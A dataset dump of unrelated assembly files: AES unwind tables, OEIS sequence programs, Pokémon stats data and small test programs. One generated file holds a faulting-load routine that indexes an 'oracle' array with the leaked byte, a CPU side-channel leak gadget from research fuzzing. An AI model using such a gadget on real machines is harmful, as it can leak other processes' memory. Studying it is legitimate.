.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_vpaes_set_encrypt_key
DD imagerel $L$SEH_end_vpaes_set_encrypt_key
DD imagerel $L$SEH_info_vpaes_set_encrypt_key
DD imagerel $L$SEH_begin_vpaes_set_decrypt_key
DD imagerel $L$SEH_end_vpaes_set_decrypt_key
DD imagerel $L$SEH_info_vpaes_set_decrypt_key
DD imagerel $L$SEH_begin_vpaes_encrypt
DD imagerel $L$SEH_end_vpaes_encrypt
DD imagerel $L$SEH_info_vpaes_encrypt
DD imagerel $L$SEH_begin_vpaes_decrypt
DD imagerel $L$SEH_end_vpaes_decrypt
DD imagerel $L$SEH_info_vpaes_decrypt
DD imagerel $L$SEH_begin_vpaes_cbc_encrypt
DD imagerel $L$SEH_end_vpaes_cbc_encrypt
DD imagerel $L$SEH_info_vpaes_cbc_encrypt
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_vpaes_set_encrypt_key::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$enc_key_body,imagerel $L$enc_key_epilogue
$L$SEH_info_vpaes_set_decrypt_key::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$dec_key_body,imagerel $L$dec_key_epilogue
$L$SEH_info_vpaes_encrypt::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$enc_body,imagerel $L$enc_epilogue
$L$SEH_info_vpaes_decrypt::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$dec_body,imagerel $L$dec_epilogue
$L$SEH_info_vpaes_cbc_encrypt::
DB 9,0,0,0
DD imagerel se_handler
DD imagerel $L$cbc_body,imagerel $L$cbc_epilogue
.xdata ENDS
END
|
||||
TheStack | 17686265f4fbc66963c7cf80a32924aedbccae53 | Assemblycode:Assembly | {"size": 140, "ext": "asm", "max_stars_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/mak.lzh/mak/se.asm", "max_stars_repo_name": "prismotizm/gigaleak", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/mak.lzh/mak/se.asm", "max_issues_repo_name": "prismotizm/gigaleak", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/mak.lzh/mak/se.asm", "max_forks_repo_name": "prismotizm/gigaleak", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.0, "max_line_length": 47, "alphanum_fraction": 0.8071428571} | Name: se.asm
Type: file
Size: 77480
Last-Modified: '1992-02-13T07:48:34Z'
SHA-1: E7C3BEBBE162B15DEB7973F1EE1CD661C1744E16
Description: null
|
||||
TheStack | 8fb84eac2b26848409ad02971f390309c247a7d8 | Assemblycode:Assembly | {"size": 6893, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_656.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_656.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_656.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 38.0828729282, "max_line_length": 2999, "alphanum_fraction": 0.6579138256} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x150cd, %r15
nop
nop
xor $11506, %rax
mov (%r15), %r11
xor $24608, %r11
lea addresses_UC_ht+0x1771d, %rdx
nop
nop
add $3235, %r12
movb (%rdx), %r10b
nop
nop
dec %rdi
lea addresses_WT_ht+0x257d, %rsi
lea addresses_D_ht+0x817d, %rdi
nop
nop
cmp $60888, %r12
mov $63, %rcx
rep movsq
nop
nop
nop
add $34521, %rcx
lea addresses_UC_ht+0x19dfd, %rdx
nop
nop
nop
sub $10268, %r10
movb $0x61, (%rdx)
nop
cmp $9063, %r15
lea addresses_UC_ht+0xeac5, %rcx
nop
nop
nop
nop
cmp %r10, %r10
mov $0x6162636465666768, %rax
movq %rax, (%rcx)
nop
nop
nop
nop
add $51202, %rdi
lea addresses_D_ht+0x4b7d, %r15
cmp %rcx, %rcx
mov (%r15), %r12
nop
nop
nop
sub %rax, %rax
lea addresses_WC_ht+0x13985, %r12
nop
xor %rax, %rax
vmovups (%r12), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rsi
sub %r10, %r10
lea addresses_WC_ht+0xa2f7, %rsi
lea addresses_UC_ht+0x107c3, %rdi
nop
nop
sub %r10, %r10
mov $14, %rcx
rep movsb
nop
nop
nop
and $44144, %r15
lea addresses_A_ht+0x1313d, %rcx
nop
nop
nop
inc %rdi
movl $0x61626364, (%rcx)
nop
sub $7184, %r15
lea addresses_WC_ht+0x3b7d, %r15
nop
nop
and $26264, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%r15)
nop
nop
nop
dec %rcx
lea addresses_normal_ht+0xd6d9, %rdi
nop
nop
dec %rsi
movups (%rdi), %xmm5
vpextrq $0, %xmm5, %rcx
nop
nop
nop
sub %r10, %r10
lea addresses_normal_ht+0x1ec7d, %rsi
lea addresses_A_ht+0xaa2d, %rdi
nop
nop
nop
dec %r12
mov $112, %rcx
rep movsw
dec %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r9
push %rbp
push %rdi
push %rsi
// Faulty Load
lea addresses_PSE+0x1657d, %r15
nop
inc %rsi
movb (%r15), %r11b
lea oracles, %rdi
and $0xff, %r11
shlq $12, %r11
mov (%rdi,%r11,1), %r11
pop %rsi
pop %rdi
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
||||
TheStack | 0ff871638627a77b1730d0eb38b0086edd276dc3 | Assemblycode:Assembly | {"size": 633, "ext": "asm", "max_stars_repo_path": "oeis/055/A055562.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/055/A055562.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/055/A055562.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 28.7727272727, "max_line_length": 329, "alphanum_fraction": 0.6398104265} | ; A055562: a(n) = least number greater than a(n-1) not the sum of an earlier pair of consecutive terms, a(0) = 2.
; Submitted by Jon Maiga
; 2,3,4,6,8,9,11,12,13,15,16,18,19,21,22,24,26,27,29,30,32,33,35,36,38,39,41,42,44,45,47,48,49,51,52,54,55,57,58,60,61,63,64,66,67,69,70,72,73,75,76,78,79,81,82,84,85,87,88,90,91,93,94,96,98,99,101,102,104,105,107,108,110,111,113,114,116,117,119,120,122,123,125,126,128,129,131,132,134,135,137,138,140,141,143,144,146,147,149,150
mov $3,2
mov $4,$0
lpb $3
div $3,3
lpb $0
mov $3,$0
div $0,4
lpe
mov $1,1
pow $3,$3
lpe
add $1,3
mov $2,$4
mul $2,3
add $1,$2
div $1,2
mov $0,$1
|
||||
TheStack | c7a54717b7802e116f274daec413a94d184dd506 | Assemblycode:Assembly | {"size": 296, "ext": "asm", "max_stars_repo_path": "lab3_test_harness/test/state_data_in/swap.asm", "max_stars_repo_name": "Zaydax/PipelineProcessor", "max_stars_repo_stars_event_min_datetime": "2017-03-05T17:40:26.000Z", "max_stars_repo_stars_event_max_datetime": "2017-03-15T01:41:25.000Z", "max_issues_repo_path": "lab3_test_harness/test/state_data_in/swap.asm", "max_issues_repo_name": "Zaydax/PipelineProcessor", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lab3_test_harness/test/state_data_in/swap.asm", "max_forks_repo_name": "Zaydax/PipelineProcessor", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 2, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 13.4545454545, "max_line_length": 20, "alphanum_fraction": 0.5709459459} | .ORIG x3000
AND R5, R5, #0
AND R3, R3, #0
ADD R3, R3, #8
LEA R0, B
LDW R1, R0, #1
ADD R2, R1, #0
AGAIN ADD R2, R2, R2
ADD R3, R3, #-1
BRp AGAIN
LDW R4, R0, #0
AND R1, R1, R4
NOT R1, R1
ADD R1, R1, #1
ADD R2, R2, R1
BRnp NO
ADD R5, R5, #1
NO HALT
B .FILL XFF00
A .FILL X4884
.END
|
||||
TheStack | ed156dcdf966554e2b42a405a1a7138b40040e3e | Assemblycode:Assembly | {"size": 275, "ext": "asm", "max_stars_repo_path": "programs/oeis/329/A329841.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/329/A329841.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/329/A329841.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 39.2857142857, "max_line_length": 195, "alphanum_fraction": 0.6581818182} | ; A329841: Beatty sequence for (7+sqrt(109))/10.
; 1,3,5,6,8,10,12,13,15,17,19,20,22,24,26,27,29,31,33,34,36,38,40,41,43,45,47,48,50,52,54,55,57,59,61,62,64,66,68,69,71,73,74,76,78,80,81,83,85,87,88,90,92,94,95,97,99,101,102,104,106,108,109,111
add $0,1
mul $0,68
div $0,39
|
||||
TheStack | 96d387075da21596fe06236e61159734361d25b2 | Assemblycode:Assembly | {"size": 475, "ext": "asm", "max_stars_repo_path": "programs/oeis/153/A153388.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/153/A153388.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/153/A153388.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 43.1818181818, "max_line_length": 366, "alphanum_fraction": 0.8273684211} | ; A153388: Second bisection of A153382.
; 8,18,48,128,338,888,2328,6098,15968,41808,109458,286568,750248,1964178,5142288,13462688,35245778,92274648,241578168,632459858,1655801408,4334944368,11349031698,29712150728,77787420488,203650110738,533162911728,1395838624448,3654352961618,9567220260408,25047307819608,65574703198418,171676801775648,449455702128528,1176690304609938,3080615211701288,8065155330493928
mov $1,10
lpb $0,1
sub $0,1
add $2,$1
add $1,$2
lpe
sub $1,2
|
||||
TheStack | ea238a6e95838ea5f809b078354e85a9d4802ecf | Assemblycode:Assembly | {"size": 569, "ext": "asm", "max_stars_repo_path": "data/baseStats/slowpoke.asm", "max_stars_repo_name": "AmateurPanda92/pokemon-rby-dx", "max_stars_repo_stars_event_min_datetime": "2020-07-12T19:44:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-03T23:32:40.000Z", "max_issues_repo_path": "data/baseStats/slowpoke.asm", "max_issues_repo_name": "JStar-debug2020/pokemon-rby-dx", "max_issues_repo_issues_event_min_datetime": "2020-07-16T10:48:52.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-28T18:32:02.000Z", "max_forks_repo_path": "data/baseStats/slowpoke.asm", "max_forks_repo_name": "JStar-debug2020/pokemon-rby-dx", "max_forks_repo_forks_event_min_datetime": "2021-03-28T18:33:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-06T13:12:09.000Z"} | {"max_stars_count": 9, "max_issues_count": 7, "max_forks_count": 2, "avg_line_length": 19.6206896552, "max_line_length": 58, "alphanum_fraction": 0.7275922671} | db DEX_SLOWPOKE ; pokedex id
db 90 ; base hp
db 65 ; base attack
db 65 ; base defense
db 15 ; base speed
db 40 ; base special
db WATER ; species type 1
db PSYCHIC ; species type 2
db 190 ; catch rate
db 99 ; base exp yield
INCBIN "pic/bmon/slowpoke.pic",0,1 ; 55, sprite dimensions
dw SlowpokePicFront
dw SlowpokePicBack
; attacks known at lvl 0
db CONFUSION
db 0
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 6,8
tmlearn 9,10,11,12,13,14,16
tmlearn 20
tmlearn 26,27,28,29,30,31,32
tmlearn 33,34,38,39,40
tmlearn 44,45,46
tmlearn 49,50,53,54,55
db 0 ; padding
|
||||
TheStack | 134019882e01a23e522fd61f58aa9260080f581b | Assemblycode:Assembly | {"size": 37, "ext": "asm", "max_stars_repo_path": "Pocket.asm", "max_stars_repo_name": "DevEd2/Rebound", "max_stars_repo_stars_event_min_datetime": "2021-11-23T21:13:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-11T05:11:46.000Z", "max_issues_repo_path": "Pocket.asm", "max_issues_repo_name": "DevEd2/Rebound", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Pocket.asm", "max_forks_repo_name": "DevEd2/Rebound", "max_forks_repo_forks_event_min_datetime": "2021-10-02T17:48:56.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-02T17:48:56.000Z"} | {"max_stars_count": 2, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 18.5, "max_line_length": 18, "alphanum_fraction": 0.8108108108} | BUILD_POCKET set 1
include "main.asm" |
||||
TheStack | b35a97a6f9968a3f695242aa71a728fe3c718f32 | Assemblycode:Assembly | {"size": 2102, "ext": "asm", "max_stars_repo_path": "programs/oeis/123/A123868.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/123/A123868.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/123/A123868.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 300.2857142857, "max_line_length": 2044, "alphanum_fraction": 0.9381541389} | ; A123868: a(n) = n^12 - 1.
; 0,4095,531440,16777215,244140624,2176782335,13841287200,68719476735,282429536480,999999999999,3138428376720,8916100448255,23298085122480,56693912375295,129746337890624,281474976710655,582622237229760,1156831381426175,2213314919066160,4095999999999999,7355827511386640,12855002631049215,21914624432020320,36520347436056575,59604644775390624,95428956661682175,150094635296999120,232218265089212415,353814783205469040,531440999999999999,787662783788549760,1152921504606846975,1667889514952984960,2386420683693101055,3379220508056640624,4738381338321616895,6582952005840035280,9065737908494995455,12381557655576425120,16777215999999999999,22563490300366186080,30129469486639681535,39959630797262576400,52654090776777588735,68952523554931640624,89762301673555234815,116191483108948578240,149587343098087735295,191581231380566414400,244140624999999999999,309629344375621415600,390877006486250192895,491258904256726154640,614787626176508399615,766217865410400390624,951166013805414055935,1176246293903439668000,1449225352009601191935,1779197418239532716880,2176782335999999999999,2654348974297586158320,3226266762397899821055,3909188328478827879680,4722366482869645213695,5688009063105712890624,6831675453247426400255,8182718904632857144560,9774779120406941925375,11646329922777311412560,13841287200999999999999,16409682740640811134240,19408409961765342806015,22902048046490258711520,26963771415920784510975,31676352024078369140624,37133262473195501387775,43439888521963583647920,50714860157241037295615,59091511031674153381440,68719476735999999999999,79766443076872509863360,92420056270299898187775,106890007738661124410160,123410307017276135571455,142241757136172119140624,163674647745587512938495,188031682201497672618080,215671155821681003462655,246990403565262140303520,282429536480999999999999,322475487413604782665680,367666387654882241806335,418596297479370673535600,475920314814253376475135,540360087662636962890624,612709757329767363772415,693842360995438000295040,784716723734800033386495,886384871716129280658800,999999999999999999999999
add $0,1
pow $0,12
sub $0,1
|
||||
TheStack | 93310951cd4d8757eba0b730ea2c92188cfd2615 | Assemblycode:Assembly | {"size": 607, "ext": "asm", "max_stars_repo_path": "0x02.asm", "max_stars_repo_name": "SpeedStepper/XchgRaxRax", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "0x02.asm", "max_issues_repo_name": "SpeedStepper/XchgRaxRax", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "0x02.asm", "max_forks_repo_name": "SpeedStepper/XchgRaxRax", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 35.7058823529, "max_line_length": 94, "alphanum_fraction": 0.6672158155} | ; This snippet, 0x02, sets rax to 1 for any initial value, other than zero, without branching.
; Assemble with $ nasm -felf64 0x02.asm && ld 0x02.o && ./a.out
global _start
section .text
_start:
mov rax, 1 ; Initialize the rax register, can be anything but zero.
neg rax ; Two's complement negation (0 - rax) carry = 1 if rax ! = 0.
sbb rax, rax ; rax - rax - cf (it can be either 0 or -1)
neg rax ; two's complement (it can be either 0 or 1)
; Simple way of setting something to 1 In pseudo code, it might look something like this:
; if (value != 0) then
; value = 1
; else
; value = 0 |
||||
TheStack | 8172112fea2e86ac2ee0fa4d454945c5a49db820 | Assemblycode:Assembly | {"size": 1507, "ext": "asm", "max_stars_repo_path": "programs/oeis/060/A060892.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/060/A060892.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/060/A060892.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 107.6428571429, "max_line_length": 1380, "alphanum_fraction": 0.8944923689} | ; A060892: n^8-n^6+n^4-n^2+1.
; 1,1,205,5905,61681,375601,1634221,5649505,16519105,42521761,99009901,212601841,427016305,810932305,1468297741,2551550401,4278255361,6951703105,10986053005,16936647121,25536159601,37737287281,54762727405,78163228705,109884542401,152344140001,208518605101,282042646705,377320721905,499652296081,655371809101,852004456321,1098438933505,1405118335105,1784250435661,2250038624401,2818934803441,3509915600305,4344783285805,5348492828641,6549506558401,7980177948961,9677166074605,11681882331505,14040971057521,16806825723601,20038142410381,23800512323905,28167055144705,33219095044801,39046881247501,45750355045201,53439965230705,62237533937905,72277174927981,83706266397601,96686480425921,111394871217505,128025024338605,146788269184561,167914956956401,191655806465041,218283320121805,248093272514305,281406274007041,318569411846401,359957971290061,405977239321105,457064393547505,513690478927921,576362475005101,645625456368481,722064849107905,806308786060705,899030563694701,1000951203510001,1112842120882801,1235527904314705,1369889208091405,1516865761394881,1677459496953601,1852737802355521,2043836897189005,2251965339217105,2478407662830961,2724528153068401,2991774758524141,3281683146518305,3595880903930305,3936091887145441,4304140724601901,4701957475466161,5131582448005105,5595171181263505,6094999593695821,6633469302441601,7213113116974081,7836600710891905,8506744475664205
pow $0,2
mov $1,$0
sub $0,1
pow $1,3
add $1,1
add $1,$0
mul $1,$0
div $1,12
mul $1,12
add $1,1
|
||||
TheStack | 2e7429c215146130cfcff914b583facd6b90d0f8 | Assemblycode:Assembly | {"size": 2979, "ext": "asm", "max_stars_repo_path": "programs/oeis/213/A213283.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/213/A213283.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/213/A213283.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 80.5135135135, "max_line_length": 2336, "alphanum_fraction": 0.8063108426} | ; A213283: Number of 4-length words w over n-ary alphabet such that for every prefix z of w we have #(z,a_i) = 0 or #(z,a_i) >= #(z,a_j) for all j>i and #(z,a_i) counts the occurrences of the i-th letter in z.
; 0,1,9,36,118,315,711,1414,2556,4293,6805,10296,14994,21151,29043,38970,51256,66249,84321,105868,131310,161091,195679,235566,281268,333325,392301,458784,533386,616743,709515,812386,926064,1051281,1188793,1339380,1503846,1683019,1877751,2088918,2317420,2564181,2830149,3116296,3423618,3753135,4105891,4482954,4885416,5314393,5771025,6256476,6771934,7318611,7897743,8510590,9158436,9842589,10564381,11325168,12126330,12969271,13855419,14786226,15763168,16787745,17861481,18985924,20162646,21393243,22679335,24022566,25424604,26887141,28411893,30000600,31655026,33376959,35168211,37030618,38966040,40976361,43063489,45229356,47475918,49805155,52219071,54719694,57309076,59989293,62762445,65630656,68596074,71660871,74827243,78097410,81473616,84958129,88553241,92261268,96084550,100025451,104086359,108269686,112577868,117013365,121578661,126276264,131108706,136078543,141188355,146440746,151838344,157383801,163079793,168929020,174934206,181098099,187423471,193913118,200569860,207396541,214396029,221571216,228925018,236460375,244180251,25208763